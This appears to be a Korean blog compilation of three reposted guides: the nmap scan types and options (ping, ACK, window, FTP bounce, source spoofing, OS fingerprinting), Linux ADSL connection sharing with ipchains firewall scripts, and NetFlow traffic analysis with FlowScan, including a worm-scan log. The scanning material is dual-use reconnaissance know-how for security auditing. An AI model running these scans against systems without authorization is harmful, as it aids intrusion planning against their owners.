Ping scanning : 네트워크의 어느 호스트가 살아있는지를 알고 싶을 때 사용한다. nmap은 명시한 네트워크의 모든 IP 주소로 ICMP echo request packet을 보내어 이것을 행한다. 호스트가 살아 있다면 응답을 보낸다. 하지만 microsoft.com 같은 일부 사이트는 echo requst packet을 방해한다. 따라서 nmap은 포트번호 80(default) 으로 TCP ack packet을 보낸다. 만약 RST back을 받았다면 이 시스템은 살아있는 것이다.

-sU

UDP scans : 이것은 호스트의 어떠한 UDP 포트가 open 되어 있는지를 결정하기 위해 사용된다. 이 기술은 시스템의 각 포트에 0 바이트의 udp 패킷을 보낸다. 만일 ICMP port unreachable 메시지를 받았다면 이 포트는 closed 상태이며, 다른 경우라 open 상태라고 할 수 있다. 일부에서는 UDP 스캐닝이 무의미하다라고 말한다. 하지만 최근의 Solaris rcpbind hole을 보면 Rpcbind가 32770 이상의 정의되지 않은 UDP 포트에서 발견되고 있다. 이것은 111 포트가 방화벽에서 차단되어지는 것과는 별개의 문제이다. 따라서 UDP 스캐너로 30,000번 이상의 high 포트들이 listening 상태인지를 점검해봐야 한다. 이것은 루트만이 실행가능하다.

-sA

ACK scan : 이 방법은 방화벽의 룰셋을 정밀하게 계획하기 위해 사용된다. 특히 방화벽이 stateful한지 아니면 단순히 들어오는 SYN 패킷을 차단하는 패킷필터인지를 점검하는데 도움이 된다. 포트에 ACK 패킷을 보내어 RST 응답을 받으면 그 포트는 "unfilterd"이며, 아무런 응답이 없으면 "filtered" 이다. nmap은 "unfilterd" 포트는 프린트하지 않는다.

-sW

Window scan : TCP Window 크기의 변칙 때문에 filtered/nonfiltered 뿐만 아니라 open 포트도 스캔할 수 있다는 점을 제외하면 ACK scan과 매우 유사하다.

-sR

RPC scan : 이 스캔 방법은 nmap의 다양한 포트 스캔 방법을 조합해서 이루어진다. 이것은 열려져있는 TCP/UDP 포트에 대해 그들이 RPC 포트인지, 서비스를 제공하는 프로그램은 무엇이며, 버전은 무엇인지 등을 확인하기 위해 SunRPC program NULL commands를 계속 보내게 된다. 따라서 호스트의 portmaper가 방화벽(또는 TCP wrapper)안에 있다 하더라도 'rpcinfo -p'와 같은 정보를 얻을 수 있다.

-b

FTP bounce attack : 익명 FTP 서버를 이용해 그 FTP 서버를 경우해서 호스트를 스캔한다. 이를 FTP 바운스 스캔이라 한다.

Top

Options

-P0

이것은 방화벽에 의해 ICMP echo requests (or responses)를 막아놓은 네트워크의 스캔을 가능하게 한다. ping을 막아놓은 호스트를 스캔하기 위해서는 -P0 나 -PT80을 사용해야 한다.

-PT

어느 호스트가 살아 있는지를 알기 위해 TCP "ping"을 사용한다. 이것은 ICMP echo request 패킷을 보내고 응답을 기다리는 대신에, 네트워크에 TCP ACK를 보내어 응답이 오기를 기다린다. RST 응답이 오면 호스트는 살아 있는 것이다. 이 옵션은 ping 패킷을 차단하는 네트워크나 호스트을 스캔하는 동안은 호스트가 살아 있는 것과 같다. -PT<port number>를 사용 하며, 디폴트 포트는 80이다.

-PS

이 옵션은 루트사용자를 위해 ACK 패킷 대신에 SYN (connection request)을 사용한다. 호스트가 살아 있다면 RST (or, rarely, a SYN|ACK)로 응답 한다.

-PI

이 옵션은 오리지날 ping (ICMP echo request) packet을 사용한다. 이것은 살아있는 호스트를 찾으며 또한 네트워크의 subnet-directed broadcast addresses를 찾는다. 이들은 들어오는 IP 패킷을 컴퓨터의 서브넷으로 브로드케스트하기 위한 IP 주소이다. 따라서 denial of service attacks (Smurf is the most common) 가능성이 있다면 이들은 제거되어야 한다.

-PB

이것은 ping 기본 형태로 ACK (-PT)와 ICMP (-PI) 모두를 사용한다.

-O

이것은 TCP/IP fingerprinting을 통해 리모트 호스트를 확인하는데 사용된다 다시 말해 리모트 시스템의 운영체제를 점검해 준다. 루트권한이 필요하다.

-I

RFC 1413에 정의되어 있는 ident 프로토콜을 사용해 open되어 있는 포트가 어떤 사용자에 의해 열려 있는지 검사한다.

-v

verbose mode : interactive한 사용에 매우 유용한 옵션이다.

-h

nmap의 'quick reference'이다.

-p
<port ranges>

점검하고자 하는 포트를 지정하는 옵션이다. 예로 23번 포트를 점검하려면 '-p 23' 하면 된다. 또한 '-p 20-30,139,60000-'은 20에서 30사이의 포트와 139번 포트, 60000번 이상의 포트에 대해 스캔하라는 뜻이다.

-F

nmap-services에 나열된 포트만 스캔한다.

-n / -R

DNS lookup을 하지 않는다. / DNS lookup을 한다.

-S
<IP_Address>

패킷의 source 주소를 지정한다.

-e
<interface>

네트워크의 인터페이스를 지정한다.

-g
<portnumber>

패킷의 source 포트번호를 지정한다.

-oN
<logfilename>

스캔한 결과를 로그 파일에 남긴다(사람이 읽기 편한 포맷).

-oM
<logfilename>

스캔한 결과를 로그 파일에 남긴다(컴퓨터가 읽기 편한 포맷).

다. nmap 탐지결과 분석

nmap의 실행 결과는 일반적으로 스캔되어진 호스트의 포트 리스트이다. nmap는 포트들의 "well known" service name, number, state, protocol 등을 알려준다. state는 'open', 'filtered' 'unfiltered'로 정의된다. Open은 호스트의 포트로 accept() 접속이 가능함을 의미한다. Filtered는 방화벽이나 필터, 또는 다른 네트웍 장비가 포트를 보호하고 있거나, 포트가 open 되어 있는지에 관해 nmap이 결정할 수 없음을 의미한다. Unfiltered는 closed 상태이고 firewall/filter가 없음을 의미한다. 대부분의 포트가 Unfiltered 포트이므로 'unfiltered'는 state에는 프린트되지 않는다.

<예제1>

nmap의 기본 옵션을 가지고 스캔하면 다음과 같다. 여기에 -v 옵션을 사용하면 좀더 자세한 정보를 알 수 있다.

Nmap은 타겟을 설정함에 있어 매우 유연한 동작을 보인다. 하나의 호스트 스캔은 물론이고 연속되지 않은 여러 개의 호스트 스캔, 연속되는 여러 개의 호스트 스캔, 클래스 단위의 스캔 등 다양하게 타겟을 설정할 수 있다. 특히 "/mask"를 사용하면 클래스 단위로 스캔을 할 수가 있다.

▶연속되지 않은 여러 개의 호스트를 스캔할 경우 : 호스트 사이에 "," 입력
▶연속되는 여러 개의 호스트를 스캔할 경우 : 첫 번째 호스트와 마지막 호스트 사이에 "-" 입력
▶클래스 단위 스캔 : "/mask" 이용( B class : /16, C class : /24 ), "*" 이용, "-" 이용

예로 B class를 스캔하고 할 때는 172.16.0.0/16 또는 172.16.*.* 또는 172.16.0-255.0-255로 정의해 주면 된다.

<예제2> 만약 inetd.conf 파일에 2222번 백도어 포트가 설정되어 있다면 결과값은 다음과 같이 나온다. 기본 옵션으로 검색하면 2222번 포트가 보이지 않지만 -p <port ranges> 옵션을 사용하여 점검하면 2222번 포트가 open되어 있음을 알 수 있다.

<예제3>

각각의 포트가 누구의 권한으로 실행되고 있는지를 알기 위해서는 -I 옵션을 추가하면 되고, OS 추정 및 TCP Sequence Number의 규칙성을 알기 위해서는 -O 옵션을 추가하면 된다.

<예제4> 호스트가 살아있는지를 알기 위해서는 -sP를 사용한다.

up으로 나오면 호스트가 살아있음을 의미하고, down으로 나오는 호스트가 죽어있거나 방화벽에 의해 차단되어 있음을 의미한다.

<예제5> UDP 포트에 대해 점검을 원하면 -sU를 사용한다.

라. 편리한 X 윈도우 버전 nmapfe

nmapfe은 nmap의 사용을 편리하게 하기 위해 만들어진 X Window System (GTK+) front end이다.

3. 참고자료

http://www.insecure.org/nmap



출처

http://www.superuser.co.kr/security/certcc/secu_certcc_10.htm

Posted by theYoungman
engineering/Network Eng.2006. 8. 10. 14:52
출처 블로그 > 지독한 잠수 증후군들..
원본 http://blog.naver.com/kazamia/40000362694

리눅스에서 한개의 전용선으로 인터넷 연결 공유 하기


IP 공유는 ADSL 한 개의 회선을 가지고 여러대의 컴퓨터가 통신을 사용하는 것이며 아직 한국통신에서는 불법이라고하고 있지만 정보통신부에도 공식적으로 IP공유를 허가 하는 것으로 방향을 잡았으며 곧 이 약관이 개정이 될 것으로 예상된다.

공유 할 수 있는 프로그램은 상용 위도우용 프로그램도 있지만 리눅스를 이용하면 무료이며 윈도우용프그램보다 훨씬 많은 기능과 장점을 가지고 있다.

설치에 들어가기 전 기본적으로 알아야 할 것들을 알아보자.

인터넷은 TCP/IP 프로토콜이라는 것을 통해 통신이 되는 데
인터넷에 접속되는 컴퓨터에 중복되지 않는 IP 주소라는 것을 할당하여
통신을 하고 있으며 이 IP주소 각각의 컴퓨터를 구분 구분 할 수 있는
주소와 같은 것이다.

IP주소는 .(점)으로 구분되는 (예 211.202.265.25 )  4개의 숫자들로 구성되어 있으며 전용선 사용자들은 고정IP을 할 당 받지만
ADSL이나 모뎀 사용자들은 접속 할 때마다 IP 변동되는 유동 IP을 할 당 받는다.


이제 컴퓨터에 IP을 할 당해야 하는데 IP 중에는 IP 공인IP , 비공인 IP 등로 구분을 하는 것이 있는데 공인IP는 실제적으로 인터넷에 접속 할 수 있는 IP 주소로 이 공인 IP는ADSL접속시 할 당 받게 되며 비공인 IP 는 내부적으로 사용하는 IP이며외부 인터넷에 접속 할 수 없는 IP 주소 이며 192.168.0.1 으로 시작되며 5대의 컴퓨터를 연결 한 다고 할 때 순서대로 IP 주소를 할 당하면 되는데  ADSL 에 접속되는 컴퓨터는 2개의 IP을 할 해야 하며 


나머지 컴퓨터는 1개의 IP을 할 당하면 된다.

ADSL연결된 컴퓨터(192.168.0.1 , 192.168.0.2 )
A: 컴퓨터 (192.168.0.3)
B: 컴퓨터(192.168.0.4)
C:컴퓨터(192.168.0.5)
D:컴퓨터(192.168.0.6)


컴퓨터가 더 있을 시 이런 식으로 순서대로 IP을 할당하면 된다.


IP 할 당 예


하드웨어 설치  ADSL 연결된 컴퓨터는 IP주소를 2개을 할당해야 하기 때문에 랜카드가 2장이 설치 되어 있어야 하는데  한장은 ADSL 외장형 설치시 설치를 해 주기때문에 한장의 랜카드을 더 추가 장착 하였으며 설치된 랜카드 모델은  한국통신에서 설치한   리얼텍( RTL8029) 모델과 본인인 설치한 3com (3c900b) 모델 이다.

요즘은 ADSL 을 내장형을 많이 설치를 해주는 편인데 내장형은 리눅스 드라이버가 지원이 안 되  외장형만이 가능 하다.

리눅스 버젼은 지금 7.0 까지 버젼이 나와 있는데 버젼 6.2 에서 ADSL에 접속 할 려면 커널 컴파일 을 해야 하는데 복잡하기 때문에 리눅스 버젼 7.0 을 기준으로 설치 하겠다.

필요장비 및 소프트워어

랜카드 2장(리얼텍 8029 , 3com)
와우 리눅스 버젼 7.0 ( 미지리눅스 1.2)
ADSL 개인 전용선

(와우 리눅스는 http://www.wowlinux.com )에서 다운로드 할 수 있다.

리눅스 설치  

설치 유형

  lowres (x윈도우 해상도 1024* 768 ) 지원이 안될 시 설치 모드)

text (x윈도우가 지원이 안될 시 설치 모드)

expert (랜카드와 스카시 장비가 있을 시 선택)

linux rescue ( 리눅스 복구용 모드)

linux dd (리눅스용 드라이버디스켓이 있을시 )

리눅스 시디로 부팅을 하면 5개의 설치 유형을 선택하라고 한다.
일반적으로 형태로 설치를 하지만 랜카드를 2개 가지고 있기 때문에
설치 들어 가면서 랜카드를 인식하기 위해서는
expert 모드로 설치를 시작해야 한다.

 

  : expert  

Do you have a drive distte ?   NO 선택
(별도의 드라이비 디스켓이 있는가 )

what language   ? korea 선택

keybiard = us  선택

Installation Method ? CD-ROM 선택

Device

scsi
Network

(여기서 2개의 랜카드를 인식을 해야 한다. 랜카드 인식 순서는
ADSL 연결될 랜카드를 먼저 선택을 해야 eth0 을 할 당 받는다.)

3com 랜카드

Network  -- >  3com 3c590/3c595 vortex  

리얼텍( RTL8029)
(리얼텍은 ne 호환 모델을 선택하면 된다.)

Network --> ne 1000,2000    

 

======================================

기타 리눅스 설치는 리눅스 관련 책을  참고하시
바라면  

 

아래 ADSL 설정은 정낙수님의 글입니다.

1. 클라이언트로 이용시 (랜카드가 하나이고, 직접 연결하여 사용할 경우)


1-1. 리눅스 설치

리눅스 설치시 랜카드 방식을 물어볼 때 (클라이언트로 사용, 매스커레이딩 사용하지 않음) DHCP가 아닌 고정아이피를 준다.(192.168.0.1) 그 다음 모든 설치가 끝나고 리부팅을 시킨다.

1-2. ADSL Setup

한텀 혹은 콘솔에서

# adsl-setup

을 실행한다.

Welcome to the Roaring Penguin ADSL client setup. First, I will run

some checks on your system to make sure the PPPoE client is installed

properly...



Looks good! Now, please enter some information:



USER NAME



>>> Enter your PPPoE user name (default alponce): <= 여기에 한통 아이디를 넣어 줍니다.




INTERFACE



>>> Enter the Ethernet interface connected to the ADSL modem

(default eth1):eth0 <= 랜카드가 하나일 경우, 필자는 두 개이고 매스커레이딩을 하였습니다.




Do you want the link to come up on demand, or stay up continuously?

If you want it to come up on demand, enter the idle time in seconds

after which the link should be dropped. If you want the link to

stay up permanently, enter 'no' (two letters, lower-case.)

NOTE: Demand-activated links do not interact well with dynamic IP

addresses. You may have some problems with demand-activated links.

>>> Enter the demand value (default no): <= 그냥 엔터를 치면 됩니다...




Please enter the IP address of your ISP's primary DNS server.

If your ISP claims that 'the server will provide DNS addresses',

enter 'server' (all lower-case) here.

If you just press enter, I will assume you know what you are

doing and not modify your DNS setup.

>>> Enter the DNS information here:168.126.63.1 <= 한국통신 DNS를 넣어 줍니다..




Please enter the IP address of your ISP's secondary DNS server.

If you just press enter, I will assume there is only one DNS server.

>>> Enter the secondary DNS server address here: 168.126.63.2 <= 보조 DNS입니다.




PASSWORD



>>> Please enter your PPPoE password: <= 패스워드를 넣어 줍니다..

>>> Please re-enter your PPPoE password: <= 다시 한번 넣어 줍니다...




FIREWALLING



Please choose the firewall rules to use. Note that these rules are

very basic. You are strongly encouraged to use a more sophisticated

firewall setup; however, these will provide basic security. If you

are running any servers on your machine, you must choose 'NONE' and

set up firewalling yourself. Otherwise, the firewall rules will deny

access to all standard servers like Web, e-mail, ftp, etc. If you

are using SSH, the rules will block outgoing SSH connections which

allocate a privileged source port.



The firewall choices are:

0 - NONE: This script will not set any firewall rules. You are responsible

for ensuring the security of your machine. You are STRONGLY

recommended to use some kind of firewall rules.

1 - STANDALONE: Appropriate for a basic stand-alone web-surfing workstation

2 - MASQUERADE: Appropriate for a machine acting as an Internet gateway

for a LAN

>>> Choose a type of firewall (0-2): 0 <= 일단 0을 선택합니다.




** Summary of what you entered **



Ethernet Interface: eth0

User name: lsy1974

Activate-on-demand: No

Primary DNS: 168.126.63.1

Secondary DNS: 168.126.63.2

Firewalling: STANDALONE



>>> Accept these settings and adjust configuration files (y/n)? <= y를 입력합니다.

Adjusting /etc/ppp/pppoe.conf

Adjusting /etc/resolv.conf

Adjusting /etc/ppp/pap-secrets and /etc/ppp/chap-secrets

(But first backing it up to /etc/ppp/pap-secrets-bak)

(But first backing it up to /etc/ppp/chap-secrets-bak)




1-3. 파일의 편집

여기까지 한 다음 몇가지 파일을 편집하여야 합니다.

/etc/ppp/pppoe.conf 파일의 설정을 수정합니다. 한국통신 ADSL을 rp-pppoe 패키지로 접속하기 위해서는 옵션이 한 가지 추가되어야 합니다. 이 옵션이 없으면, 접속이 안될 수도 있습니다.

/etc/ppp/pppoe.conf 파일의 끝에 보면 다음과 같은 부분이 보입니다.

# Any extra arguments to pass to pppoe. Normally, use a blank string

# like this:

PPPOE_EXTRA=""


여기에서,

PPPOE_EXTRA="-S pppoe"


라고 써줍니다. 대소문자를 구분하니 주의하시기 바라구요.

마지막으로

# adsl-start

라고 입력하세요.

그러면, 연결되었다고 나올 것입니다.



2. standalone 사용시 (랜카드가 하나이고 직접 연결하여 사용할 경우)


2-1. 파이어월의 설정

FIREWALLING



Please choose the firewall rules to use. Note that these rules are

very basic. You are strongly encouraged to use a more sophisticated

firewall setup; however, these will provide basic security. If you

are running any servers on your machine, you must choose 'NONE' and

set up firewalling yourself. Otherwise, the firewall rules will deny

access to all standard servers like Web, e-mail, ftp, etc. If you

are using SSH, the rules will block outgoing SSH connections which

allocate a privileged source port.



The firewall choices are:

0 - NONE: This script will not set any firewall rules. You are responsible

for ensuring the security of your machine. You are STRONGLY

recommended to use some kind of firewall rules.

1 - STANDALONE: Appropriate for a basic stand-alone web-surfing workstation

2 - MASQUERADE: Appropriate for a machine acting as an Internet gateway

for a LAN

>>> Choose a type of firewall (0-2): 0 <= 1일 경우...




여기서 1이나 2를 선택한 사람은 파이어월 설정파일을 생성해야 합니다. 이 문서에 딸려있는 firewall-standalone 파일을 그대로 사용하셔두 무방하구요. 아니면 다음의 파일을 만드셔두 됩니다.

이 파일은 /etc/rc.d/init.d 밑에 firewall이라는 이름으로 위치해야 합니다.

#!/bin/sh

#

# firewall-standalone This script sets up firewall rules for a standalone

# machine

#

# Copyright (C) 2000 Roaring Penguin Software Inc. This software may

# be distributed under the terms of the GNU General Public License, version

# 2 or any later version.



# Interface to Internet

EXTIF=ppp+



ANY=0.0.0.0/0



ipchains -P input ACCEPT

ipchains -P output ACCEPT

ipchains -P forward DENY



ipchains -F forward

ipchains -F input

ipchains -F output



# Deny TCP and UDP packets to privileged ports

ipchains -A input -l -i $EXTIF -d $ANY 0:1023 -p udp -j DENY

ipchains -A input -l -i $EXTIF -d $ANY 0:1023 -p tcp -j DENY


2-2. 실행

그 다음은 당연히

#adsl-start

를 실행시키면 연결이 됩니다.



3. 매스커레이딩 사용시


랜카드가 하나 이상이고, eth0가 외부와 연결되고 eth1이 내부에 연결

eth0 : 192.168.0.1

eth1 : 192.168.0.2

3-1. 네트워크 카드 설정

INTERFACE



>>> Enter the Ethernet interface connected to the ADSL modem

(default eth1):eth0 <= eth0 이 ADSL 외장모뎀과 연결




3-2. 파이어월의 설정

FIREWALLING



Please choose the firewall rules to use. Note that these rules are

very basic. You are strongly encouraged to use a more sophisticated

firewall setup; however, these will provide basic security. If you

are running any servers on your machine, you must choose 'NONE' and

set up firewalling yourself. Otherwise, the firewall rules will deny

access to all standard servers like Web, e-mail, ftp, etc. If you

are using SSH, the rules will block outgoing SSH connections which

allocate a privileged source port.



The firewall choices are:

0 - NONE: This script will not set any firewall rules. You are responsible

for ensuring the security of your machine. You are STRONGLY

recommended to use some kind of firewall rules.

1 - STANDALONE: Appropriate for a basic stand-alone web-surfing workstation

2 - MASQUERADE: Appropriate for a machine acting as an Internet gateway

for a LAN

>>> Choose a type of firewall (0-2): 0 <= 2일 경우...




여기서, 2를 선택한 사람은 파이어월 설정파일을 생성해야 합니다.
이 문서에 딸려있는 firewall-masq 파일을 그대로 사용하셔두 무방하구요... 아니면 다음의 파일을 만드셔두 됩니다.

이 파일은 /etc/rc.d/init.d 밑에 firewall 이라는 이름으로 위치해야 합니다.

#!/bin/sh

#

# firewall-masq This script sets up firewall rules for a machine

# acting as a masquerading gateway

#

# Copyright (C) 2000 Roaring Penguin Software Inc. This software may

# be distributed under the terms of the GNU General Public License, version

# 2 or any later version.



# Interface to Internet

EXTIF=ppp+



ANY=0.0.0.0/0



ipchains -P input ACCEPT

ipchains -P output ACCEPT

ipchains -P forward DENY



ipchains -F forward

ipchains -F input

ipchains -F output



# Deny TCP and UDP packets to privileged ports

ipchains -A input -l -i $EXTIF -d $ANY 0:1023 -p udp -j DENY

ipchains -A input -l -i $EXTIF -d $ANY 0:1023 -p tcp -j DENY



# Do masquerading

ipchains -A forward -s 192.168.0.2/32 -j MASQ

ipchains -A forward -s 192.168.0.3/32 -j MASQ

ipchains -A forward -s 192.168.0.4/32 -j MASQ

echo 1 > /proc/sys/net/ipv4/ip_forward




[주의] ipchains -A input -l -i $EXTIF -d $ANY 0:1023 -p udp -j DENY

에서 input 다음의 옵션은 소문자 L입니다.



3-3. 실행

그 다음은 당연히

# adsl-start

를 실행시키면 연결이 됩니다.



3-4. 매스커레이팅 머신에 물린 클라이언트 설정

리눅스 머신에 물린 다른 머신들의 네임서버는 리눅스머신에 네임서버가 설치되어 있다면 리눅스머신으로 잡아 주면(192.168.0.2) 됩니다. 만일 네임서버가 설치되지 않았다면 한통 네임서버(168.126.63.1)을 잡아주면 됩니다. 클라이언트에서 게이트웨이는 ADSL 모뎀과 연결된 랜카드의 IP로 지정해 줍니다. (192.168.0.1) ADSL로 연결되는 리눅스 머신에서는 게이트웨이를 설정할 필요가 없습니다.

여기 까지 정낙수 님의 글입니다.=============================================================

기타 팁으로 리눅스 부팅시 adsl 에 자동으로 접속하고 한다면

chkconfig 명령어를 이용하면 된다.

/sbin/chkconfig --add 35 adsl  on

이 명령어를 실행하면 부팅시 자동으로 접속이 된다. 


이문서는 자유롭게 사용이 가능합니다.

Posted by theYoungman
engineering/Network Eng.2006. 8. 10. 14:45
출처 블로그 > ddolteng's.......
http://blog.naver.com/ddolteng/120010339798

NetFlow 데이터 분석 관련 프로그램 설치 및 활용

(RRDTool, flow-tools, FlowScan, and CUFlow)

1.      NetFlow 데이터란?

Source IP destination IP사이에 발생하는 일련의 패킷들을 NetFlow라고 정의할 수 있는데, 여기에는 NetFlow버전에 따라 다양한 정보를 포함하고 있다. 기본적으로 source IP, destination IP, application port 번호, IP Protocol Type, Service Type, AS번호 등이다. 이런 정보를 이용해 현재 발생하고 있는 이벤트에 대한 추적이 가능하다.

참조: http://www.cisco.com/warp/public/cc/pd/iosw/ioft/neflct/tech/napps_wp.htm

기존의 MRTG가 실제 트래픽 사용률에 대한 정보를 보여 주었다면, NetFlow 데이터는 위에서 언급한 정보들을 가지고 있으므로 과다한 트래픽을 발생시키는 IP, 바이러스에 감염된 PC, 그리고 현재 우리 네트웍에서 어떤 유형의 트래픽이 많은 지를 분석할 수 있다.

따라서 MRTG FlowScan을 병행하면 굳이 고가의 NMS 프로그램을 구입하지 않더라도 수준급의 보안 시스템을 구축했다고 볼 수 있지 않을까?

* 실제예 : 바이러스에 감염된 전용선 가입자의 MRTG 그래프 및 FlowScan 검색

MRTG그래프

이 그래프는 어떤 전용회선 가입자의 트래픽 사용현황을 보여주는 것으로써 input값이 일정하고 또 새벽에도 input값이 일정하게 있는 것으로 보아 바이러스에 감염됐음을 짐작할 수 있다. 하지만 어떤 IP인지는 이 그래픽만으로는 알 수 없다. 이때 FlowScan을 이용하면 된다.

FlowScan

2003/11/27 04:08:22 211.238.196.17 -> 211.238.205.100 ICMP_ECHO 1 92

2003/11/27 04:08:22 211.238.196.17 -> 211.238.205.101 ICMP_ECHO 1 92

2003/11/27 04:08:22 211.238.196.17 -> 211.238.205.102 ICMP_ECHO 1 92

2003/11/27 04:08:22 211.238.196.17 -> 211.238.205.103 ICMP_ECHO 1 92

2003/11/27 04:08:22 211.238.196.17 -> 211.238.205.104 ICMP_ECHO 1 92

2003/11/27 04:08:22 211.238.196.17 -> 211.238.205.105 ICMP_ECHO 1 92

2003/11/27 04:08:22 211.238.196.17 -> 211.238.205.106 ICMP_ECHO 1 92

2003/11/27 04:08:22 211.238.196.17 -> 211.238.205.107 ICMP_ECHO 1 92

2003/11/27 04:08:22 211.238.196.17 -> 211.238.205.108 ICMP_ECHO 1 92

2003/11/27 04:08:22 211.238.196.17 -> 211.238.205.109 ICMP_ECHO 1 92

FlowScan으로 위 가입자의 IP주소(211.238.196.17)를 검색해보니 특정 IP주소(211.238.205.X번대) 92Byte의 일정한 크기로 스캔하는 웜(Welchia)에 감염되었음을 알 수 있다.

☞ 이제부터 NetFlow 데이터를 분석하는 프로그램들을 설치해보자.

2.      프로그램 설치

1)      내가 설치한 시스템 사양

[H/W]

모델명 : 인텔 ISP2150 (인텔 조립서버라고 많이 부름)

CPU : PIII 800MHz *2 (듀얼CPU)

Memory : 1024Gbytes

DISK : 9Gbytes*1, 72Gbytes*1 (모두 SCSI방식, 72G NetFlow데이터 쌓임)

[S/W]

OS : Redhat Linux 7.2

설치패키지 : Linux설치 시 대부분의 패키지 설치(게임 관련 패키지 제외)

2)      프로그램 설치순서 및 역할

Apache

웹서버

Perl5

Perl로 작성된 프로그램 인터프리터

RRDTool

분석된 Flow데이터를 저장하는 DB파일

Flow-tools

flow 데이터를 수집하는 collector

Perl Modules

Perl 추가 모듈

Korn Shell

CUFlow 프로그램에서 사용

FlowScan

수집된 flow데이터를 분석하여 보고서 작성

CUFlow

보고서 종류 중 하나. 다른 종류로써 CampusIO SubNetIO가 있고 서로 혼용해서 사용가능

3)      설치

     Apache Linux 설치 시 패키지로 설치하거나 최신버전을 다운받아 설치하면 된다.

     Perl5역시 Apache와 동일한 방법으로 설치하면 된다.

RRDTool

다운받기

www.rrdtool.org 에서 stable버전인’rrdtool.tar.gz’ 받음

설치

tar –zxvf rrdtool.tar.gz ('rrdtool-1.0.43’ 디렉토리 생성, 버전에 따라 다름)

cd rrdtool-1.0.43

./configure –enable-shared –prefix=/usr/local/rrdtool

make install site-perl-install

Flow-tools

다운받기

http://www.splintered.net/sw/flow-tools/

설치

tar –zxvf flow-tools-0.66.tar.gz

cd flow-tools-0.66

./configure; make; make install

* 관련 파일들이 ‘/usr/local/netflow’ 디렉토리에 설치된다.

Perl Modules

CPAN Shell 방식으로 설치할 수도 있고, 관련 Module을 다운받아서 설치 할 수도 있다. 여기서는 관련 Module들을 다운받아 설치한다. , ConfigReader는 다른방식으로 설치한다.

다운받기

http://search.cpan.org/search?dist=Boulder

http://search.cpan.org/search?dist=ConfigReader

http://search.cpan.org/search?dist=HTML-Table

http://net.doit.wisc.edu/~plonka/Net-Patricia/

http://net.doit.wisc.edu/~plonka/Cflow/

설치

(Cflow)

tar –zxvf Cflow-1.051.tar.gz

cd Cflow-1.051

perl Makefile.PL

make; make test; make install

* 다른 Module들도 같은 방식으로 설치

설치

(ConfigReader)

ConfigReader Makefile.PL 파일이 없으므로, REAME 파일 참조해서

- You'll find documentation in ConfigReader.pod, as well as in the source files. The *.pm files should be installed in a "ConfigReader" subdirectory on your Perl include path. -

/usr/lib/perl5/5.8.0/ConfigReader 디렉토리를 만들어서 *.pm 복사하고,

/usr/lib/perl5/site_perl/5.8.0/ConfigReader 디렉토리도 만들어서 *.pm 복사하면 된다.

tar -zxvf ConfigReader-0.5.tar.gz

cd ConfigReader-0.5

cd /usr/lib/perl5/5.8.0

mkdir ConfigReader

cd ConfigReader

cp /home/src/ConfigReader-0.5/* .

Korn Shell

다운받기

Linux설치 CD#2 RPM디렉토리나 http://www.kornshell.com

설치

rpm –Uvh pdksh-5.2.14-16.i386.rpm

FlowScan

다운받기

http://net.doit.wisc.edu/~plonka/FlowScan/

설치

(‘root’계정이 아닌 일반 계정으로 설치할 것을 권고)

tar -zxvf FlowScan-1.006.tar.gz

cd FlowScan-1.006

./configure --prefix=/var/netflow

make

make -n install

make install

cd cf

cp flowscan.cf /var/netflow/bin

CUFlow (일반계정으로 설치 계속)

다운받기

http://www.columbia.edu/acis/networks/advanced/CUFlow/

설치

tar –zxvf CUFlow-1.4.tgz

cd CUFlow-1.4

cp CUFlow.* /var/netflow/bin/

☞ 자, 이제 NetFlow데이터를 수집하고 가공하기 위해 필요한 프로그램 설치는 끝났다. 그럼 실제 라우터나 스위치에서 NetFlow 데이터를 FlowScan서버로 보내는 방법과 이를 서버에서 처리하기 위한 사전 환경설정에 대해서 알아보자.

3.      NetFlow 데이터 보내기

1)      시스코 라우터 설정 (여기서는 시스코7513 라우터에서 설정)

#Global-mode

ip flow-export version 5 peer-as

ip flow-export destination x.x.x.x y (x.x.x.x –collector’s ip주소 / y -port번호, 보통 FlowScan프로그램은 2055/UDP를 사용한다.)

#Interface-mode

ip route-cache flow

2)      확인 (아래 flows 개수가 증가하는 지 확인)

7513#sh ip flow export

Flow export is enabled

  Exporting flows to x.x.x.x (y)

  Exporting using source IP address x.x.x.x

  Version 5 flow records, peer-as

  439795660 flows exported in 16392366 udp datagrams

  0 flows failed due to lack of export packet

4.      FlowScan서버 환경구성

1)      flow-tools

flow파일 및 RRD파일이 저장될 디렉토리 생성

#mkdir –p /var/netflow/

#mkdir –p /var/netflow/ft

#mkdir –p /var/netflow/rrds

#mkdir –p /var/netflow/scoreboard

/usr/local/netflow/bin 밑에 export라는 파일을 만들고 소유권한을 ‘chmod a+x export’로 준다.

#cd /usr/local/netflow/bin

#touch export

#chmod a+w export

export 파일을 아래와 같이 편집한다.

#!/usr/bin/perl

$file = $ARGV[0];

if ( $file =~ /.*ft-v05\.(\d\d\d\d)-(\d\d)-(\d\d)\.(\d\d)(\d\d)(\d\d)/ ){
$cflowfile = "flows.".$1.$2.$3."_".$4.":".$5.":".$6;
$command = "/usr/local/netflow/bin/flow-export -f0 < $file > /var/netflow/$cflowfile";
print "$command\n";
system($command);
}else{print "File $file didn't match\n";}

tcpdump flow 데이터가 들어오는지 확인

#tcpdump –n udp port 2055

ð       라우터로부터 NetFlow데이터를 정상적으로 받는지 확인. 만일 스크롤되는 데이터가 없다면 라우터의 NetFlow 설정부터 확인

NetFlow 캡쳐하기

#/usr/local/netflow/bin/flow-capture -w /var/netflow/ft 0/0/2055 -S5 -V5 -E1G -n 287 -N 0 -R /usr/local/netflow/bin/export

* flow-capture프로그램 옵션 설명

·         -w /var/netflow/ft : flow-capture가 캡쳐한 flow 파일이 저장되는 장소

·        0/0/2055 : local IP/remote IP/port번호, 0 any IP를 의미, 0은 모든 IP 의미

2)      flowscan

/var/netflow/bin/flowscan.cf 파일 수정

#ReportClasses 부분  -> 어떤 보고서 형식을 사용할 지

ReportClasses CUFlow

#FlowFileGlob 부분  -> 가공된 NetFlow파일 형식을 지정하는 부분. 예로들면, ‘flows.20031214_17:50:00’과 같은 형식

FlowFileGlob flows.*:*[0-9]

CampusIO.cf와 같은 나머지 FlowScan 파일은 수정할 필요없음.

3)      CUFlow

/var/netflow/bin/CUFlow.cf 파일 수정

# Subnet 부분 : 내부에서 사용하는 IP블록, CIDR형식. 여러 줄 가능

Subnet 210.100.64.0/19

Subnet 211.12.160.0/20

# Network 부분 : 네트웍 그룹으로써 이 그룹에 대한 트래픽을 모니터링하고 싶은 경우. “Network x.x.x.x/y lable” 형식

Network 210.100.66.0/24,211.12.162.0/24 data_center

# OutputDir 부분 : RRD 파일이 저장되는 장소

